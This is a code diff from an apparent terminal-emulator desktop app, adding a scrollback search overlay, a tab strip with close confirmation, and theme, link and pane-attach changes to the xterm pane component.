<div className="policy-hard-deny-header">Always blocked (built-in)</div>
|
||||
<ul className="policy-hard-deny-list">
|
||||
{hardDenyLabels.map((label) => (
|
||||
<li key={label} className="policy-hard-deny-rule">
|
||||
<code>{label}</code>
|
||||
<span className="policy-hard-deny-badge">Cannot be disabled</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<p className="policy-hard-deny-footnote">
|
||||
These patterns are caught regardless of policy. Best-effort accident
|
||||
prevention, not a sandbox — see README.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
105
src/components/SearchBar.css
Normal file
105
src/components/SearchBar.css
Normal file
|
|
@ -0,0 +1,105 @@
|
|||
/* ---------------------------------------------------------------------------
|
||||
SearchBar — find-in-scrollback overlay.
|
||||
|
||||
Positioned absolutely inside XtermPane's container div (which must be
|
||||
position: relative). Sits at the top-right of the pane, z-index 10 so it
|
||||
floats above the xterm canvas but below any app-level modals (z-index 100).
|
||||
Colour palette matches Palette.css / Help.css: #181818 surface, #2a2a2a
|
||||
borders, #e6e6e6 text, #1a3a5c accent.
|
||||
--------------------------------------------------------------------------- */
|
||||
|
||||
.search-bar {
|
||||
position: absolute;
|
||||
top: 4px;
|
||||
right: 4px;
|
||||
z-index: 10;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 3px;
|
||||
background: #181818;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 4px 16px rgba(0, 0, 0, 0.55);
|
||||
padding: 3px 4px;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 12px;
|
||||
color: #e6e6e6;
|
||||
}
|
||||
|
||||
.search-input {
|
||||
font: inherit;
|
||||
font-size: 12px;
|
||||
color: #e6e6e6;
|
||||
background: #1f1f1f;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
padding: 3px 7px;
|
||||
outline: none;
|
||||
width: 180px;
|
||||
caret-color: #e6e6e6;
|
||||
}
|
||||
|
||||
.search-input:focus {
|
||||
border-color: #1a3a5c;
|
||||
box-shadow: 0 0 0 1px #1a3a5c;
|
||||
}
|
||||
|
||||
.search-input::placeholder {
|
||||
color: #555;
|
||||
}
|
||||
|
||||
/* Toggle buttons (Aa / .*) */
|
||||
.search-toggle {
|
||||
font: inherit;
|
||||
font-size: 11px;
|
||||
background: transparent;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
color: #888;
|
||||
padding: 2px 5px;
|
||||
cursor: pointer;
|
||||
line-height: 1;
|
||||
transition: background 0.1s, color 0.1s;
|
||||
}
|
||||
|
||||
.search-toggle:hover,
|
||||
.search-toggle[aria-pressed="true"] {
|
||||
background: #1a3a5c;
|
||||
border-color: #1a5c8a;
|
||||
color: #cce6ff;
|
||||
}
|
||||
|
||||
/* Prev / Next navigation arrows */
|
||||
.search-nav {
|
||||
font: inherit;
|
||||
font-size: 13px;
|
||||
background: transparent;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 3px;
|
||||
color: #aaa;
|
||||
padding: 1px 6px;
|
||||
cursor: pointer;
|
||||
line-height: 1;
|
||||
}
|
||||
|
||||
.search-nav:hover {
|
||||
background: #2a2a2a;
|
||||
color: #e6e6e6;
|
||||
}
|
||||
|
||||
/* Close button */
|
||||
.search-close {
|
||||
background: transparent;
|
||||
border: none;
|
||||
color: #666;
|
||||
font-size: 16px;
|
||||
line-height: 1;
|
||||
padding: 1px 5px;
|
||||
cursor: pointer;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.search-close:hover {
|
||||
background: #2a2a2a;
|
||||
color: #ddd;
|
||||
}
|
||||
177
src/components/SearchBar.tsx
Normal file
177
src/components/SearchBar.tsx
Normal file
|
|
@ -0,0 +1,177 @@
|
|||
import { useRef, useEffect, useState } from "react";
|
||||
import type { SearchAddon } from "@xterm/addon-search";
|
||||
import "./SearchBar.css";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// SearchBar — per-pane find-in-scrollback overlay.
|
||||
//
|
||||
// Rendered as an absolutely-positioned sibling of the xterm canvas inside
|
||||
// XtermPane's container div (position: relative). The SearchAddon instance
|
||||
// is owned by XtermPane and passed down as a prop; no IPC or Context needed.
|
||||
//
|
||||
// Toggle state (caseSensitive, regex) uses useState so aria-pressed reflects
|
||||
// the live value on every render — refs alone don't trigger re-renders.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
interface SearchBarProps {
|
||||
searchAddon: SearchAddon;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
export default function SearchBar({ searchAddon, onClose }: SearchBarProps) {
|
||||
const inputRef = useRef<HTMLInputElement>(null);
|
||||
const queryRef = useRef("");
|
||||
const [caseSensitive, setCaseSensitive] = useState(false);
|
||||
const [useRegex, setUseRegex] = useState(false);
|
||||
|
||||
// Keep stable refs to toggle values so findNext/findPrev closures always
|
||||
// see the current value without needing to be recreated on each state change.
|
||||
const caseSensitiveRef = useRef(caseSensitive);
|
||||
const useRegexRef = useRef(useRegex);
|
||||
useEffect(() => { caseSensitiveRef.current = caseSensitive; }, [caseSensitive]);
|
||||
useEffect(() => { useRegexRef.current = useRegex; }, [useRegex]);
|
||||
|
||||
// Autofocus the input when the bar mounts.
|
||||
useEffect(() => {
|
||||
queueMicrotask(() => inputRef.current?.focus());
|
||||
}, []);
|
||||
|
||||
function getOptions() {
|
||||
return {
|
||||
caseSensitive: caseSensitiveRef.current,
|
||||
regex: useRegexRef.current,
|
||||
// Highlight all matches and mark the active one distinctly.
|
||||
decorations: {
|
||||
matchBackground: "#3a3a00",
|
||||
matchBorder: "#888800",
|
||||
matchOverviewRuler: "#888800",
|
||||
activeMatchBackground: "#b5890080",
|
||||
activeMatchBorder: "#e6c000",
|
||||
activeMatchColorOverviewRuler: "#e6c000",
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function findNext() {
|
||||
if (!queryRef.current) return;
|
||||
searchAddon.findNext(queryRef.current, getOptions());
|
||||
}
|
||||
|
||||
function findPrev() {
|
||||
if (!queryRef.current) return;
|
||||
searchAddon.findPrevious(queryRef.current, getOptions());
|
||||
}
|
||||
|
||||
function handleInput(e: React.ChangeEvent<HTMLInputElement>) {
|
||||
queryRef.current = e.target.value;
|
||||
// Live-search: jump to next match as you type.
|
||||
if (queryRef.current) {
|
||||
searchAddon.findNext(queryRef.current, getOptions());
|
||||
}
|
||||
}
|
||||
|
||||
function handleKeyDown(e: React.KeyboardEvent<HTMLInputElement>) {
|
||||
if (e.key === "Escape") {
|
||||
e.preventDefault();
|
||||
onClose();
|
||||
} else if (e.key === "Enter") {
|
||||
e.preventDefault();
|
||||
if (e.shiftKey) {
|
||||
findPrev();
|
||||
} else {
|
||||
findNext();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function toggleCase() {
|
||||
setCaseSensitive((v) => {
|
||||
const next = !v;
|
||||
caseSensitiveRef.current = next;
|
||||
// Re-run with the new option so decorations update immediately.
|
||||
if (queryRef.current) {
|
||||
searchAddon.findNext(queryRef.current, {
|
||||
...getOptions(),
|
||||
caseSensitive: next,
|
||||
});
|
||||
}
|
||||
return next;
|
||||
});
|
||||
}
|
||||
|
||||
function toggleRegex() {
|
||||
setUseRegex((v) => {
|
||||
const next = !v;
|
||||
useRegexRef.current = next;
|
||||
if (queryRef.current) {
|
||||
searchAddon.findNext(queryRef.current, {
|
||||
...getOptions(),
|
||||
regex: next,
|
||||
});
|
||||
}
|
||||
return next;
|
||||
});
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="search-bar" role="search" aria-label="Find in terminal">
|
||||
<input
|
||||
ref={inputRef}
|
||||
type="text"
|
||||
className="search-input"
|
||||
placeholder="Find…"
|
||||
onChange={handleInput}
|
||||
onKeyDown={handleKeyDown}
|
||||
aria-label="Search term"
|
||||
spellCheck={false}
|
||||
/>
|
||||
|
||||
<button
|
||||
className="search-toggle"
|
||||
title="Case-sensitive"
|
||||
aria-label="Toggle case-sensitive"
|
||||
aria-pressed={caseSensitive ? "true" : "false"}
|
||||
onClick={toggleCase}
|
||||
>
|
||||
Aa
|
||||
</button>
|
||||
|
||||
<button
|
||||
className="search-toggle"
|
||||
title="Regular expression"
|
||||
aria-label="Toggle regular expression"
|
||||
aria-pressed={useRegex ? "true" : "false"}
|
||||
onClick={toggleRegex}
|
||||
>
|
||||
.*
|
||||
</button>
|
||||
|
||||
<button
|
||||
className="search-nav"
|
||||
title="Previous match (Shift+Enter)"
|
||||
aria-label="Previous match"
|
||||
onClick={findPrev}
|
||||
>
|
||||
↑
|
||||
</button>
|
||||
|
||||
<button
|
||||
className="search-nav"
|
||||
title="Next match (Enter)"
|
||||
aria-label="Next match"
|
||||
onClick={findNext}
|
||||
>
|
||||
↓
|
||||
</button>
|
||||
|
||||
<button
|
||||
className="search-close"
|
||||
title="Close (Escape)"
|
||||
aria-label="Close search"
|
||||
onClick={onClose}
|
||||
>
|
||||
×
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
175
src/components/TabStrip.css
Normal file
175
src/components/TabStrip.css
Normal file
|
|
@ -0,0 +1,175 @@
|
|||
.tab-strip {
|
||||
flex: 0 0 auto;
|
||||
display: flex;
|
||||
align-items: stretch;
|
||||
gap: 2px;
|
||||
padding: 4px 8px 0 8px;
|
||||
background: #161616;
|
||||
border-bottom: 1px solid #2a2a2a;
|
||||
font-size: 12px;
|
||||
color: #aaa;
|
||||
user-select: none;
|
||||
overflow-x: auto;
|
||||
min-height: 28px;
|
||||
box-sizing: border-box;
|
||||
white-space: nowrap;
|
||||
/* The confirm popover is portalled to <body> (see TabStrip.tsx), so it is
|
||||
not clipped by this strip's overflow. */
|
||||
}
|
||||
|
||||
.tab-strip-item {
|
||||
position: relative;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
padding: 4px 4px 4px 10px;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-bottom: none;
|
||||
border-top-left-radius: 4px;
|
||||
border-top-right-radius: 4px;
|
||||
background: #1a1a1a;
|
||||
color: #999;
|
||||
cursor: pointer;
|
||||
max-width: 200px;
|
||||
min-width: 80px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.tab-strip-item:hover {
|
||||
background: #232323;
|
||||
color: #ccc;
|
||||
}
|
||||
.tab-strip-item.active {
|
||||
background: #0c0c0c;
|
||||
color: #e6e6e6;
|
||||
border-color: #2a5a8c;
|
||||
/* Pull the active tab visually onto the pane area below it. */
|
||||
margin-bottom: -1px;
|
||||
}
|
||||
|
||||
.tab-strip-name {
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 11px;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
flex: 1 1 auto;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.tab-strip-rename {
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 11px;
|
||||
background: #0c0c0c;
|
||||
color: #e6e6e6;
|
||||
border: 1px solid #2a5a8c;
|
||||
border-radius: 2px;
|
||||
padding: 1px 4px;
|
||||
width: 100%;
|
||||
flex: 1 1 auto;
|
||||
min-width: 0;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.tab-strip-close {
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 13px;
|
||||
line-height: 1;
|
||||
background: transparent;
|
||||
color: #777;
|
||||
border: none;
|
||||
border-radius: 2px;
|
||||
padding: 0 4px;
|
||||
cursor: pointer;
|
||||
flex: 0 0 auto;
|
||||
}
|
||||
.tab-strip-close:hover {
|
||||
background: #c94040;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.tab-strip-add {
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 14px;
|
||||
line-height: 1;
|
||||
background: #1a1a1a;
|
||||
color: #aaa;
|
||||
border: 1px solid #2a2a2a;
|
||||
border-radius: 4px;
|
||||
padding: 2px 10px;
|
||||
cursor: pointer;
|
||||
align-self: center;
|
||||
margin-left: 4px;
|
||||
flex: 0 0 auto;
|
||||
}
|
||||
.tab-strip-add:hover {
|
||||
background: #1a3a5c;
|
||||
color: #fff;
|
||||
border-color: #2a5a8c;
|
||||
}
|
||||
|
||||
/* Confirm popover anchored to the close button. Portalled to <body> and
|
||||
positioned `fixed` (top/right set inline) so the horizontally-scrolling
|
||||
tab strip — overflow-x:auto forces overflow-y:auto, which would clip an
|
||||
in-strip popover — can't hide it. Plain matte panel; app palette. */
|
||||
.tab-strip-confirm {
|
||||
position: fixed;
|
||||
z-index: 1000;
|
||||
/* width must match CONFIRM_POPOVER_WIDTH in TabStrip.tsx (clamp math). */
|
||||
width: 300px;
|
||||
background: #1a1a1a;
|
||||
color: #e6e6e6;
|
||||
border: 1px solid #c98a1f;
|
||||
border-radius: 4px;
|
||||
padding: 10px 12px;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 11px;
|
||||
white-space: normal;
|
||||
box-shadow: 0 6px 24px rgba(0, 0, 0, 0.6);
|
||||
cursor: default;
|
||||
}
|
||||
.tab-strip-confirm-title {
|
||||
font-weight: 600;
|
||||
color: #f0c060;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.tab-strip-confirm-body {
|
||||
color: #ccc;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.tab-strip-confirm-labels {
|
||||
color: #e6e6e6;
|
||||
font-size: 11px;
|
||||
margin-top: 4px;
|
||||
word-break: break-word;
|
||||
}
|
||||
.tab-strip-confirm-actions {
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
gap: 6px;
|
||||
}
|
||||
.tab-strip-confirm-btn {
|
||||
font: inherit;
|
||||
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
|
||||
font-size: 11px;
|
||||
background: #2a2a2a;
|
||||
color: #ddd;
|
||||
border: 1px solid #333;
|
||||
border-radius: 3px;
|
||||
padding: 4px 10px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.tab-strip-confirm-btn.cancel:hover {
|
||||
background: #333;
|
||||
}
|
||||
.tab-strip-confirm-btn.destructive {
|
||||
background: #4a1010;
|
||||
color: #f8c0c0;
|
||||
border-color: #c94040;
|
||||
}
|
||||
.tab-strip-confirm-btn.destructive:hover {
|
||||
background: #6a1818;
|
||||
color: #fff;
|
||||
}
|
||||
241
src/components/TabStrip.tsx
Normal file
241
src/components/TabStrip.tsx
Normal file
|
|
@ -0,0 +1,241 @@
|
|||
import {
|
||||
useState,
|
||||
useRef,
|
||||
useEffect,
|
||||
useCallback,
|
||||
useMemo,
|
||||
type KeyboardEvent as ReactKeyboardEvent,
|
||||
type MouseEvent as ReactMouseEvent,
|
||||
} from "react";
|
||||
import { createPortal } from "react-dom";
|
||||
import { walkLeaves, leafCount, type Workspace, type NodeId } from "../lib/layout/tree";
|
||||
import "./TabStrip.css";
|
||||
|
||||
/** Fixed width of the close-confirm popover — must match the `width` in
|
||||
* TabStrip.css so the viewport-clamp math positions it accurately. */
|
||||
const CONFIRM_POPOVER_WIDTH = 300;
|
||||
|
||||
interface TabStripProps {
|
||||
workspaces: Workspace[];
|
||||
currentWorkspaceId: NodeId | null;
|
||||
onSwitch: (id: NodeId) => void;
|
||||
onCreate: () => void;
|
||||
/** Caller MUST handle PTY teardown for the tab's leaves before removing it
|
||||
* from the workspaces list. TabStrip just gates the action on user
|
||||
* confirm. */
|
||||
onClose: (id: NodeId) => void;
|
||||
onRename: (id: NodeId, name: string) => void;
|
||||
}
|
||||
|
||||
/** Tab strip displayed above the pane area. One pill per workspace; click to
|
||||
* switch, double-click name to rename, × to close (with inline confirm if
|
||||
* the tab has live panes), + at the end to spawn a new blank workspace. */
|
||||
export default function TabStrip({
|
||||
workspaces,
|
||||
currentWorkspaceId,
|
||||
onSwitch,
|
||||
onCreate,
|
||||
onClose,
|
||||
onRename,
|
||||
}: TabStripProps) {
|
||||
const [editingId, setEditingId] = useState<NodeId | null>(null);
|
||||
const [draft, setDraft] = useState("");
|
||||
const editInputRef = useRef<HTMLInputElement>(null);
|
||||
const [confirmingId, setConfirmingId] = useState<NodeId | null>(null);
|
||||
// Anchor rect (the close button's) for the confirm popover. The popover is
|
||||
// portalled to <body> with position:fixed because the tab strip scrolls
|
||||
// horizontally (overflow-x:auto, which forces overflow-y to auto too),
|
||||
// so an in-strip absolutely-positioned popover would be clipped.
|
||||
const [confirmAnchor, setConfirmAnchor] = useState<{
|
||||
top: number;
|
||||
left: number;
|
||||
} | null>(null);
|
||||
|
||||
const startEdit = useCallback(
|
||||
(id: NodeId, current: string, e: ReactMouseEvent) => {
|
||||
e.stopPropagation();
|
||||
setEditingId(id);
|
||||
setDraft(current);
|
||||
queueMicrotask(() => editInputRef.current?.select());
|
||||
},
|
||||
[],
|
||||
);
|
||||
const commitEdit = useCallback(() => {
|
||||
if (editingId == null) return;
|
||||
const trimmed = draft.trim();
|
||||
if (trimmed) onRename(editingId, trimmed);
|
||||
setEditingId(null);
|
||||
}, [editingId, draft, onRename]);
|
||||
const cancelEdit = useCallback(() => setEditingId(null), []);
|
||||
const onEditKey = useCallback(
|
||||
(e: ReactKeyboardEvent<HTMLInputElement>) => {
|
||||
if (e.key === "Enter") {
|
||||
e.preventDefault();
|
||||
commitEdit();
|
||||
} else if (e.key === "Escape") {
|
||||
e.preventDefault();
|
||||
cancelEdit();
|
||||
}
|
||||
},
|
||||
[commitEdit, cancelEdit],
|
||||
);
|
||||
|
||||
// Outside-click dismissal for the inline confirm popover.
|
||||
useEffect(() => {
|
||||
if (confirmingId == null) return;
|
||||
const onDocClick = () => setConfirmingId(null);
|
||||
// Run on next tick so the click that opened the confirm doesn't immediately close it.
|
||||
const id = window.setTimeout(
|
||||
() => window.addEventListener("click", onDocClick),
|
||||
0,
|
||||
);
|
||||
return () => {
|
||||
clearTimeout(id);
|
||||
window.removeEventListener("click", onDocClick);
|
||||
};
|
||||
}, [confirmingId]);
|
||||
|
||||
const confirmingWorkspace = useMemo(
|
||||
() => workspaces.find((w) => w.id === confirmingId) ?? null,
|
||||
[workspaces, confirmingId],
|
||||
);
|
||||
|
||||
const confirmingPaneLabels = useMemo(() => {
|
||||
if (!confirmingWorkspace) return [] as string[];
|
||||
return Array.from(walkLeaves(confirmingWorkspace.tree)).map(
|
||||
(l) => l.label ?? l.distro ?? `(${l.shellKind})`,
|
||||
);
|
||||
}, [confirmingWorkspace]);
|
||||
|
||||
const requestClose = useCallback(
|
||||
(id: NodeId, e: ReactMouseEvent) => {
|
||||
e.stopPropagation();
|
||||
const w = workspaces.find((ws) => ws.id === id);
|
||||
if (!w) return;
|
||||
// Silent close when the tab has no live panes (e.g. empty default leaf
|
||||
// with no PTY yet — but every leaf has one, so effectively never zero).
|
||||
// The leafCount check leaves room for a future "empty tab" state.
|
||||
if (leafCount(w.tree) === 0) {
|
||||
onClose(id);
|
||||
return;
|
||||
}
|
||||
const rect = (e.currentTarget as HTMLElement).getBoundingClientRect();
|
||||
// Right-align the popover to the close button by default, then clamp
|
||||
// both edges into the viewport so a left-side tab doesn't push it off
|
||||
// the left edge (or a right-side tab off the right).
|
||||
const pad = 8;
|
||||
const left = Math.max(
|
||||
pad,
|
||||
Math.min(
|
||||
rect.right - CONFIRM_POPOVER_WIDTH,
|
||||
window.innerWidth - CONFIRM_POPOVER_WIDTH - pad,
|
||||
),
|
||||
);
|
||||
setConfirmAnchor({ top: rect.bottom + 4, left });
|
||||
setConfirmingId(id);
|
||||
},
|
||||
[workspaces, onClose],
|
||||
);
|
||||
|
||||
const confirmClose = useCallback(
|
||||
(e: ReactMouseEvent) => {
|
||||
e.stopPropagation();
|
||||
if (confirmingId == null) return;
|
||||
const id = confirmingId;
|
||||
setConfirmingId(null);
|
||||
onClose(id);
|
||||
},
|
||||
[confirmingId, onClose],
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="tab-strip" role="tablist">
|
||||
{workspaces.map((w) => {
|
||||
const isActive = w.id === currentWorkspaceId;
|
||||
const isEditing = editingId === w.id;
|
||||
return (
|
||||
<div
|
||||
key={w.id}
|
||||
className={`tab-strip-item${isActive ? " active" : ""}`}
|
||||
role="tab"
|
||||
aria-selected={isActive ? "true" : "false"}
|
||||
onClick={() => onSwitch(w.id)}
|
||||
onDoubleClick={(e) => startEdit(w.id, w.name, e)}
|
||||
title={`Switch to ${w.name}`}
|
||||
>
|
||||
{isEditing ? (
|
||||
<input
|
||||
ref={editInputRef}
|
||||
className="tab-strip-rename"
|
||||
value={draft}
|
||||
onChange={(e) => setDraft(e.target.value)}
|
||||
onKeyDown={onEditKey}
|
||||
onBlur={commitEdit}
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
/>
|
||||
) : (
|
||||
<span className="tab-strip-name">{w.name}</span>
|
||||
)}
|
||||
<button
|
||||
className="tab-strip-close"
|
||||
onClick={(e) => requestClose(w.id, e)}
|
||||
title="Close tab"
|
||||
aria-label={`Close tab ${w.name}`}
|
||||
tabIndex={-1}
|
||||
>
|
||||
×
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
<button
|
||||
className="tab-strip-add"
|
||||
onClick={onCreate}
|
||||
title="New tab (Ctrl+T)"
|
||||
aria-label="New tab"
|
||||
>
|
||||
+
|
||||
</button>
|
||||
{confirmingId != null &&
|
||||
confirmAnchor &&
|
||||
createPortal(
|
||||
<div
|
||||
className="tab-strip-confirm"
|
||||
role="dialog"
|
||||
aria-label="Confirm close tab"
|
||||
style={{ top: confirmAnchor.top, left: confirmAnchor.left }}
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
<div className="tab-strip-confirm-title">
|
||||
Close "{confirmingWorkspace?.name}"?
|
||||
</div>
|
||||
<div className="tab-strip-confirm-body">
|
||||
This will kill {confirmingPaneLabels.length} pane
|
||||
{confirmingPaneLabels.length === 1 ? "" : "s"}:
|
||||
<div className="tab-strip-confirm-labels">
|
||||
{confirmingPaneLabels.join(", ")}
|
||||
</div>
|
||||
</div>
|
||||
<div className="tab-strip-confirm-actions">
|
||||
<button
|
||||
className="tab-strip-confirm-btn cancel"
|
||||
onClick={(e) => {
|
||||
e.stopPropagation();
|
||||
setConfirmingId(null);
|
||||
}}
|
||||
>
|
||||
Cancel
|
||||
</button>
|
||||
<button
|
||||
className="tab-strip-confirm-btn destructive"
|
||||
onClick={confirmClose}
|
||||
>
|
||||
Close tab
|
||||
</button>
|
||||
</div>
|
||||
</div>,
|
||||
document.body,
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
|
@ -1,11 +1,17 @@
|
|||
import { useRef, useEffect } from "react";
|
||||
import { useRef, useEffect, useState } from "react";
|
||||
import { Terminal } from "@xterm/xterm";
|
||||
import { FitAddon } from "@xterm/addon-fit";
|
||||
import { WebLinksAddon } from "@xterm/addon-web-links";
|
||||
import { CanvasAddon } from "@xterm/addon-canvas";
|
||||
import { SearchAddon } from "@xterm/addon-search";
|
||||
import { Unicode11Addon } from "@xterm/addon-unicode11";
|
||||
import SearchBar from "./SearchBar";
|
||||
import type { UnlistenFn } from "@tauri-apps/api/event";
|
||||
import {
|
||||
readText as clipboardReadText,
|
||||
writeText as clipboardWriteText,
|
||||
} from "@tauri-apps/plugin-clipboard-manager";
|
||||
import { openUrl } from "@tauri-apps/plugin-opener";
|
||||
import {
|
||||
spawnPane,
|
||||
writeToPane,
|
||||
|
|
@ -13,8 +19,17 @@ import {
|
|||
killPane,
|
||||
onPaneData,
|
||||
onPaneExit,
|
||||
getPaneRing,
|
||||
claimPane,
|
||||
type PaneId,
|
||||
type SpawnSpec,
|
||||
} from "../ipc";
|
||||
import type { NavigateIntent } from "../lib/layout/orchestration";
|
||||
import {
|
||||
type PaneColors,
|
||||
DEFAULT_PANE_COLORS,
|
||||
toXtermTheme,
|
||||
} from "../lib/theme";
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// base64 helpers (private to this module)
|
||||
|
|
@ -43,8 +58,16 @@ function stringToB64(s: string): string {
|
|||
// ---------------------------------------------------------------------------
|
||||
|
||||
interface XtermPaneProps {
|
||||
distro?: string;
|
||||
cwd?: string;
|
||||
/** Spec describing what to spawn into this pane's PTY. Read once at mount;
|
||||
* changing it later does NOT respawn — callers force a respawn by
|
||||
* changing the React `key` (see Pane.svelte / LeafPane). */
|
||||
spec: SpawnSpec;
|
||||
/** Attach to an existing PTY (transferred from another window) instead of
|
||||
* spawning a new one. When set: spec is ignored at the spawn step, the
|
||||
* scrollback ring is replayed into xterm.js, the live data listener is
|
||||
* attached, and the transfer refcount is claimed (decremented) so the
|
||||
* source window's killPane is no longer suppressed. */
|
||||
existingPaneId?: PaneId;
|
||||
onStatus?: (msg: string, ok: boolean) => void;
|
||||
/** Fired once when the backend PTY is alive and we have its PaneId. */
|
||||
onSpawn?: (paneId: PaneId) => void;
|
||||
|
|
@ -58,6 +81,15 @@ interface XtermPaneProps {
|
|||
focusTrigger?: number;
|
||||
/** Absolute font size in px. Changes are applied live (fit + PTY resize). */
|
||||
fontSize?: number;
|
||||
/** Fully-resolved terminal colours (global theme merged with any per-pane
|
||||
* override). Changes are applied live to the running terminal. */
|
||||
colors?: Required<PaneColors>;
|
||||
/** Called when the user presses a tiling-WM navigation chord inside the
|
||||
* terminal. XtermPane only emits the intent; the parent (LeafPane/App)
|
||||
* resolves the target leaf from the current layout and sets it active.
|
||||
* Defined as an optional callback so single-pane windows don't require
|
||||
* wiring it up. */
|
||||
onNavigate?: (intent: NavigateIntent) => void;
|
||||
}
|
||||
|
||||
const DEFAULT_XTERM_FONT_SIZE = 13;
|
||||
|
|
@ -67,8 +99,8 @@ const DEFAULT_XTERM_FONT_SIZE = 13;
|
|||
// ---------------------------------------------------------------------------
|
||||
|
||||
export default function XtermPane({
|
||||
distro,
|
||||
cwd,
|
||||
spec,
|
||||
existingPaneId,
|
||||
onStatus,
|
||||
onSpawn,
|
||||
onInput,
|
||||
|
|
@ -76,15 +108,22 @@ export default function XtermPane({
|
|||
onFocus,
|
||||
focusTrigger = 0,
|
||||
fontSize,
|
||||
colors,
|
||||
onNavigate,
|
||||
}: XtermPaneProps) {
|
||||
const containerRef = useRef<HTMLDivElement>(null);
|
||||
const termRef = useRef<Terminal | null>(null);
|
||||
const fitRef = useRef<FitAddon | null>(null);
|
||||
const paneIdRef = useRef<PaneId | null>(null);
|
||||
const searchAddonRef = useRef<SearchAddon | null>(null);
|
||||
const [searchOpen, setSearchOpen] = useState(false);
|
||||
// Stash the most recent `fontSize` prop so the mount effect can pick
|
||||
// up the initial value without re-running when it changes (the secondary
|
||||
// effect below handles dynamic updates).
|
||||
const initialFontSizeRef = useRef(fontSize);
|
||||
// Same trick for the initial theme — the mount effect reads this once; the
|
||||
// secondary effect below applies later changes live.
|
||||
const initialColorsRef = useRef(colors);
|
||||
|
||||
// Stable refs for callbacks so the mount effect doesn't need to re-run when
|
||||
// parents pass new inline functions, while still always calling the latest version.
|
||||
|
|
@ -93,12 +132,18 @@ export default function XtermPane({
|
|||
const onInputRef = useRef(onInput);
|
||||
const onDataReceivedRef = useRef(onDataReceived);
|
||||
const onFocusRef = useRef(onFocus);
|
||||
const onNavigateRef = useRef(onNavigate);
|
||||
// Stable ref for setSearchOpen so it can be called from inside the
|
||||
// attachCustomKeyEventHandler closure without the closure going stale.
|
||||
const setSearchOpenRef = useRef<(v: boolean) => void>(setSearchOpen);
|
||||
|
||||
useEffect(() => { onStatusRef.current = onStatus; }, [onStatus]);
|
||||
useEffect(() => { onSpawnRef.current = onSpawn; }, [onSpawn]);
|
||||
useEffect(() => { onInputRef.current = onInput; }, [onInput]);
|
||||
useEffect(() => { onDataReceivedRef.current = onDataReceived; }, [onDataReceived]);
|
||||
useEffect(() => { onFocusRef.current = onFocus; }, [onFocus]);
|
||||
useEffect(() => { onNavigateRef.current = onNavigate; }, [onNavigate]);
|
||||
useEffect(() => { setSearchOpenRef.current = setSearchOpen; }, [setSearchOpen]);
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Mount / unmount: create terminal, spawn PTY, wire listeners
|
||||
|
|
@ -111,10 +156,12 @@ export default function XtermPane({
|
|||
fontFamily: '"Cascadia Mono", "JetBrains Mono", "Consolas", monospace',
|
||||
fontSize: initialFontSizeRef.current ?? DEFAULT_XTERM_FONT_SIZE,
|
||||
cursorBlink: true,
|
||||
theme: {
|
||||
background: "#0c0c0c",
|
||||
foreground: "#e6e6e6",
|
||||
},
|
||||
// Theme is resolved by the parent (global default merged with any
|
||||
// per-pane override) and applied live by the effect below. The fixed
|
||||
// slice — softened white/brightWhite that tame the Claude TUI's
|
||||
// emphasis slots so nothing hits glaring pure white — lives in
|
||||
// toXtermTheme / BASE_XTERM_THEME (see lib/theme.ts).
|
||||
theme: toXtermTheme(initialColorsRef.current ?? DEFAULT_PANE_COLORS),
|
||||
scrollback: 5000,
|
||||
convertEol: false,
|
||||
allowProposedApi: true,
|
||||
|
|
@ -124,8 +171,53 @@ export default function XtermPane({
|
|||
const fit = new FitAddon();
|
||||
fitRef.current = fit;
|
||||
term.loadAddon(fit);
|
||||
// Underlines http(s) URLs in the terminal output and routes clicks
|
||||
// through Tauri's opener plugin so they open in the user's default
|
||||
// browser (WebView2 won't navigate on a plain window.open).
|
||||
term.loadAddon(
|
||||
new WebLinksAddon((_event, uri) => {
|
||||
void openUrl(uri).catch((err) =>
|
||||
